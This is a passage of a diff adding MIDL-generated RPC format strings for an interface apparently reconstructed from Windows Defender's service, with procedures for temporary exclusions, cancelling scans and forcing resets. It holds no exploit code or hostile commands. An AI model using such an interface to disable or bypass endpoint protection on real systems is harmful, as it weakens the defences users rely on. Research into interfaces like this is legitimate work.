/* 0 */ +/* 13128 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13130 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 13132 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 13134 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 13136 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 13138 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13140 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 13142 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 13144 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 13146 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 13148 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc230_ServerMpRpcSenseTriggerToast */ + +/* 13150 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 13152 */ NdrFcLong( 0x0 ), /* 0 */ +/* 13156 */ NdrFcShort( 0xe6 ), /* 230 */ +/* 13158 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 13160 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 13162 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13164 */ NdrFcShort( 0x8 ), /* 8 */ +/* 13166 */ NdrFcShort( 0x24 ), /* 36 */ +/* 13168 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 13170 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 13172 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13174 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13176 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13178 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 13180 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 13182 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 13184 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 13186 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13188 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 13190 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 13192 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 13194 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 13196 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc231_ServerMpRpcWddControl */ + +/* 13198 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 13200 */ NdrFcLong( 0x0 ), /* 0 */ +/* 13204 */ NdrFcShort( 0xe7 ), /* 231 */ +/* 13206 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 13208 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 13210 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13212 */ NdrFcShort( 0x10 ), /* 16 */ +/* 13214 */ NdrFcShort( 0x40 ), /* 64 */ +/* 13216 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x7, /* 7 */ +/* 13218 */ 0xa, /* 10 */ + 0x7, /* Ext Flags: new corr desc, clt corr check, srv corr check, */ +/* 13220 */ NdrFcShort( 0x1 ), /* 1 */ +/* 13222 */ NdrFcShort( 0x1 ), /* 1 */ +/* 13224 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13226 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 13228 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 13230 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 13232 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 13234 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 13236 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 13238 */ NdrFcShort( 0x11d2 ), /* Type Offset=4562 */ + + /* Parameter arg_3 */ + +/* 13240 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 13242 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 13244 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 13246 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 13248 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 13250 */ NdrFcShort( 0x11e2 ), /* Type Offset=4578 */ + + /* Parameter arg_5 */ + +/* 13252 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13254 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 13256 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 13258 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13260 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 13262 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 13264 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 13266 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 13268 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc232_ServerMpRpcTemporaryExclusionAction */ + +/* 13270 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 13272 */ NdrFcLong( 0x0 ), /* 0 */ +/* 13276 */ NdrFcShort( 0xe8 ), /* 232 */ +/* 13278 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 13280 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 13282 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13284 */ NdrFcShort( 0x8 ), /* 8 */ +/* 13286 */ NdrFcShort( 0x24 ), /* 36 */ +/* 13288 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 13290 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 13292 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13294 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13296 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13298 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 13300 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 13302 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 13304 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 13306 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 13308 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 13310 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 13312 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13314 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 13316 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 13318 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 13320 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 13322 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc233_ServerMpOnDemandCancelScan */ + +/* 13324 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 13326 */ NdrFcLong( 0x0 ), /* 0 */ +/* 13330 */ NdrFcShort( 0xe9 ), /* 233 */ +/* 13332 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 13334 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 13336 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13338 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 13340 */ NdrFcShort( 0x2c ), /* 44 */ +/* 13342 */ NdrFcShort( 0x24 ), /* 36 */ +/* 13344 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 13346 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 13348 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13350 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13352 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13354 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 13356 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 13358 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13360 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 13362 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 13364 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 13366 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 13368 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13370 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 13372 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 13374 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 13376 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 13378 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc234_ServerMpRpcSCCForceReset */ + +/* 13380 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 13382 */ NdrFcLong( 0x0 ), /* 0 */ +/* 13386 */ NdrFcShort( 0xea ), /* 234 */ +/* 13388 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 13390 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 13392 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13394 */ NdrFcShort( 0x8 ), /* 8 */ +/* 13396 */ NdrFcShort( 0x24 ), /* 36 */ +/* 13398 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 13400 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 13402 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13404 */ NdrFcShort( 0x1 ), /* 1 */ +/* 13406 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13408 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 13410 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 13412 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 13414 */ NdrFcShort( 0x1030 ), /* Type Offset=4144 */ + + /* Parameter arg_2 */ + +/* 13416 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 13418 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 13420 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 13422 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13424 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 13426 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 13428 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 13430 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 13432 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc235_ServerMpRpcPublishModularConfig */ + +/* 13434 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 13436 */ NdrFcLong( 0x0 ), /* 0 */ +/* 13440 */ NdrFcShort( 0xeb ), /* 235 */ +/* 13442 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 13444 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 13446 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13448 */ NdrFcShort( 0x8 ), /* 8 */ +/* 13450 */ NdrFcShort( 0x24 ), /* 36 */ +/* 13452 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 13454 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 13456 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13458 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13460 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13462 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 13464 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 13466 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 13468 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 13470 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 13472 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 13474 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 13476 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 13478 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 13480 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 13482 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13484 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 13486 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 13488 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 13490 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 13492 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + 0x0 + } + }; + +static const windefend_MIDL_TYPE_FORMAT_STRING windefend__MIDL_TypeFormatString = + { + 0, + { + NdrFcShort( 0x0 ), /* 0 */ +/* 2 */ + 0x11, 0xc, /* FC_RP [alloced_on_stack] [simple_pointer] */ +/* 4 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x5c, /* FC_PAD */ +/* 6 */ + 0x11, 0x0, /* FC_RP */ +/* 8 */ NdrFcShort( 0x88 ), /* Offset= 136 (144) */ +/* 10 */ + 0x1d, /* FC_SMFARRAY */ + 0x0, /* 0 */ +/* 12 */ NdrFcShort( 0x8 ), /* 8 */ +/* 14 */ 0x1, /* FC_BYTE */ + 0x5b, /* FC_END */ +/* 16 */ + 0x15, /* FC_STRUCT */ + 0x3, /* 3 */ +/* 18 */ NdrFcShort( 0x10 ), /* 16 */ +/* 20 */ 0x8, /* FC_LONG */ + 0x6, /* FC_SHORT */ +/* 22 */ 0x6, /* FC_SHORT */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 24 */ 0x0, /* 0 */ + NdrFcShort( 0xfff1 ), /* Offset= -15 (10) */ + 0x5b, /* FC_END */ +/* 28 */ + 0x15, /* FC_STRUCT */ + 0x7, /* 7 */ +/* 30 */ NdrFcShort( 0x8 ), /* 8 */ +/* 32 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 34 */ + 0x1d, /* FC_SMFARRAY */ + 0x3, /* 3 */ +/* 36 */ NdrFcShort( 0x10 ), /* 16 */ +/* 38 */ 0x8, /* FC_LONG */ + 0x5b, /* FC_END */ +/* 40 */ + 0x15, /* FC_STRUCT */ + 0x3, /* 3 */ +/* 42 */ NdrFcShort( 0x18 ), /* 24 */ +/* 44 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 46 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 48 */ NdrFcShort( 0xfff2 ), /* Offset= -14 (34) */ +/* 50 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 52 */ + 0x1d, /* FC_SMFARRAY */ + 0x7, /* 7 */ +/* 54 */ NdrFcShort( 0x20 ), /* 32 */ +/* 56 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 58 */ 0xb1, /* FC_FORCED_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 60 */ NdrFcShort( 0x48 ), /* 72 */ +/* 62 */ NdrFcShort( 0x0 ), /* 0 */ +/* 64 */ NdrFcShort( 0x0 ), /* Offset= 0 (64) */ +/* 66 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 68 */ 0xb, /* FC_HYPER */ + 0xb, /* FC_HYPER */ +/* 70 */ 0xb, /* FC_HYPER */ + 0xb, /* FC_HYPER */ +/* 72 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 74 */ NdrFcShort( 0xffea ), /* Offset= -22 (52) */ +/* 76 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 78 */ 0xb1, /* FC_FORCED_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 80 */ NdrFcShort( 0x90 ), /* 144 */ +/* 82 */ NdrFcShort( 0x0 ), /* 0 */ +/* 84 */ NdrFcShort( 0x0 ), /* Offset= 0 (84) */ +/* 86 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 88 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 90 */ NdrFcShort( 0xffb6 ), /* Offset= -74 (16) */ +/* 92 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 94 */ NdrFcShort( 0xffbe ), /* Offset= -66 (28) */ +/* 96 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 98 */ NdrFcShort( 0xffba ), /* Offset= -70 (28) */ +/* 100 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 102 */ NdrFcShort( 0xffc2 ), /* Offset= -62 (40) */ +/* 104 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 106 */ NdrFcShort( 0xffd0 ), /* Offset= -48 (58) */ +/* 108 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 110 */ + 0x15, /* FC_STRUCT */ + 0x3, /* 3 */ +/* 112 */ NdrFcShort( 0x4 ), /* 4 */ +/* 114 */ 0x8, /* FC_LONG */ + 0x5b, /* FC_END */ +/* 116 */ + 0x1d, /* FC_SMFARRAY */ + 0x3, /* 3 */ +/* 118 */ NdrFcShort( 0x10 ), /* 16 */ +/* 120 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 122 */ NdrFcShort( 0xfff4 ), /* Offset= -12 (110) */ +/* 124 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 126 */ + 0x15, /* FC_STRUCT */ + 0x3, /* 3 */ +/* 128 */ NdrFcShort( 0x8 ), /* 8 */ +/* 130 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 132 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 134 */ + 0x1d, /* FC_SMFARRAY */ + 0x3, /* 3 */ +/* 136 */ NdrFcShort( 0x58 ), /* 88 */ +/* 138 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 140 */ NdrFcShort( 0xfff2 ), /* Offset= -14 (126) */ +/* 142 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 144 */ 0xb1, /* FC_FORCED_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 146 */ NdrFcShort( 0x1b0 ), /* 432 */ +/* 148 */ NdrFcShort( 0x0 ), /* 0 */ +/* 150 */ NdrFcShort( 0x0 ), /* Offset= 0 (150) */ +/* 152 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 154 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 156 */ NdrFcShort( 0xffb2 ), /* Offset= -78 (78) */ +/* 158 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 160 */ NdrFcShort( 0xffae ), /* Offset= -82 (78) */ +/* 162 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 164 */ NdrFcShort( 0xff84 ), /* Offset= -124 (40) */ +/* 166 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 168 */ NdrFcShort( 0xffcc ), /* Offset= -52 (116) */ +/* 170 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 172 */ NdrFcShort( 0xffda ), /* Offset= -38 (134) */ +/* 174 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 176 */ NdrFcShort( 0xff6c ), /* Offset= -148 (28) */ +/* 178 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 180 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 182 */ NdrFcShort( 0xff5a ), /* Offset= -166 (16) */ +/* 184 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 186 */ NdrFcShort( 0x2 ), /* Offset= 2 (188) */ +/* 188 */ 0x30, /* FC_BIND_CONTEXT */ + 0xa0, /* Ctxt flags: via ptr, out, */ +/* 190 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 192 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 194 */ NdrFcShort( 0x2 ), /* Offset= 2 (196) */ +/* 196 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe1, /* Ctxt flags: via ptr, in, out, can't be null */ +/* 198 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 200 */ 0x30, /* FC_BIND_CONTEXT */ + 0x41, /* Ctxt flags: in, can't be null */ +/* 202 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 204 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 206 */ NdrFcShort( 0x2 ), /* Offset= 2 (208) */ +/* 208 */ + 0x12, 0x0, /* FC_UP */ +/* 210 */ NdrFcShort( 0x2f8 ), /* Offset= 760 (970) */ +/* 212 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 214 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 216 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 218 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 220 */ NdrFcShort( 0x2 ), /* Offset= 2 (222) */ +/* 222 */ NdrFcShort( 0x8 ), /* 8 */ +/* 224 */ NdrFcShort( 0x15 ), /* 21 */ +/* 226 */ NdrFcLong( 0x1 ), /* 1 */ +/* 230 */ NdrFcShort( 0x7c ), /* Offset= 124 (354) */ +/* 232 */ NdrFcLong( 0x3 ), /* 3 */ +/* 236 */ NdrFcShort( 0xe0 ), /* Offset= 224 (460) */ +/* 238 */ NdrFcLong( 0x4 ), /* 4 */ +/* 242 */ NdrFcShort( 0x11c ), /* Offset= 284 (526) */ +/* 244 */ NdrFcLong( 0x5 ), /* 5 */ +/* 248 */ NdrFcShort( 0x12c ), /* Offset= 300 (548) */ +/* 250 */ NdrFcLong( 0x2 ), /* 2 */ +/* 254 */ NdrFcShort( 0x13e ), /* Offset= 318 (572) */ +/* 256 */ NdrFcLong( 0x6 ), /* 6 */ +/* 260 */ NdrFcShort( 0x14a ), /* Offset= 330 (590) */ +/* 262 */ NdrFcLong( 0x7 ), /* 7 */ +/* 266 */ NdrFcShort( 0xae ), /* Offset= 174 (440) */ +/* 268 */ NdrFcLong( 0x8 ), /* 8 */ +/* 272 */ NdrFcShort( 0x156 ), /* Offset= 342 (614) */ +/* 274 */ NdrFcLong( 0x9 ), /* 9 */ +/* 278 */ NdrFcShort( 0x170 ), /* Offset= 368 (646) */ +/* 280 */ NdrFcLong( 0xa ), /* 10 */ +/* 284 */ NdrFcShort( 0x1a2 ), /* Offset= 418 (702) */ +/* 286 */ NdrFcLong( 0xc ), /* 12 */ +/* 290 */ NdrFcShort( 0x1c2 ), /* Offset= 450 (740) */ +/* 292 */ NdrFcLong( 0xd ), /* 13 */ +/* 296 */ NdrFcShort( 0x1dc ), /* Offset= 476 (772) */ +/* 298 */ NdrFcLong( 0xe ), /* 14 */ +/* 302 */ NdrFcShort( 0x1da ), /* Offset= 474 (776) */ +/* 304 */ NdrFcLong( 0xf ), /* 15 */ +/* 308 */ NdrFcShort( 0x1e8 ), /* Offset= 488 (796) */ +/* 310 */ NdrFcLong( 0x10 ), /* 16 */ +/* 314 */ NdrFcShort( 0x7e ), /* Offset= 126 (440) */ +/* 316 */ NdrFcLong( 0x11 ), /* 17 */ +/* 320 */ NdrFcShort( 0x78 ), /* Offset= 120 (440) */ +/* 322 */ NdrFcLong( 0x12 ), /* 18 */ +/* 326 */ NdrFcShort( 0x1ea ), /* Offset= 490 (816) */ +/* 328 */ NdrFcLong( 0x13 ), /* 19 */ +/* 332 */ NdrFcShort( 0x1f8 ), /* Offset= 504 (836) */ +/* 334 */ NdrFcLong( 0x14 ), /* 20 */ +/* 338 */ NdrFcShort( 0x202 ), /* Offset= 514 (852) */ +/* 340 */ NdrFcLong( 0x15 ), /* 21 */ +/* 344 */ NdrFcShort( 0x218 ), /* Offset= 536 (880) */ +/* 346 */ NdrFcLong( 0x16 ), /* 22 */ +/* 350 */ NdrFcShort( 0x232 ), /* Offset= 562 (912) */ +/* 352 */ NdrFcShort( 0xffff ), /* Offset= -1 (351) */ +/* 354 */ + 0x12, 0x0, /* FC_UP */ +/* 356 */ NdrFcShort( 0x58 ), /* Offset= 88 (444) */ +/* 358 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 360 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 362 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 364 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 366 */ NdrFcShort( 0x2 ), /* Offset= 2 (368) */ +/* 368 */ NdrFcShort( 0x8 ), /* 8 */ +/* 370 */ NdrFcShort( 0xb ), /* 11 */ +/* 372 */ NdrFcLong( 0x0 ), /* 0 */ +/* 376 */ NdrFcShort( 0x40 ), /* Offset= 64 (440) */ +/* 378 */ NdrFcLong( 0x1 ), /* 1 */ +/* 382 */ NdrFcShort( 0x3a ), /* Offset= 58 (440) */ +/* 384 */ NdrFcLong( 0x2 ), /* 2 */ +/* 388 */ NdrFcShort( 0x34 ), /* Offset= 52 (440) */ +/* 390 */ NdrFcLong( 0x3 ), /* 3 */ +/* 394 */ NdrFcShort( 0x2e ), /* Offset= 46 (440) */ +/* 396 */ NdrFcLong( 0x4 ), /* 4 */ +/* 400 */ NdrFcShort( 0x28 ), /* Offset= 40 (440) */ +/* 402 */ NdrFcLong( 0x5 ), /* 5 */ +/* 406 */ NdrFcShort( 0x22 ), /* Offset= 34 (440) */ +/* 408 */ NdrFcLong( 0x6 ), /* 6 */ +/* 412 */ NdrFcShort( 0x1c ), /* Offset= 28 (440) */ +/* 414 */ NdrFcLong( 0x7 ), /* 7 */ +/* 418 */ NdrFcShort( 0x16 ), /* Offset= 22 (440) */ +/* 420 */ NdrFcLong( 0x8 ), /* 8 */ +/* 424 */ NdrFcShort( 0x10 ), /* Offset= 16 (440) */ +/* 426 */ NdrFcLong( 0x9 ), /* 9 */ +/* 430 */ NdrFcShort( 0xa ), /* Offset= 10 (440) */ +/* 432 */ NdrFcLong( 0xa ), /* 10 */ +/* 436 */ NdrFcShort( 0x4 ), /* Offset= 4 (440) */ +/* 438 */ NdrFcShort( 0xffff ), /* Offset= -1 (437) */ +/* 440 */ + 0x12, 0x0, /* FC_UP */ +/* 442 */ NdrFcShort( 0xfeb4 ), /* Offset= -332 (110) */ +/* 444 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 446 */ NdrFcShort( 0x10 ), /* 16 */ +/* 448 */ NdrFcShort( 0x0 ), /* 0 */ +/* 450 */ NdrFcShort( 0x0 ), /* Offset= 0 (450) */ +/* 452 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 454 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 456 */ NdrFcShort( 0xff9e ), /* Offset= -98 (358) */ +/* 458 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 460 */ + 0x12, 0x0, /* FC_UP */ +/* 462 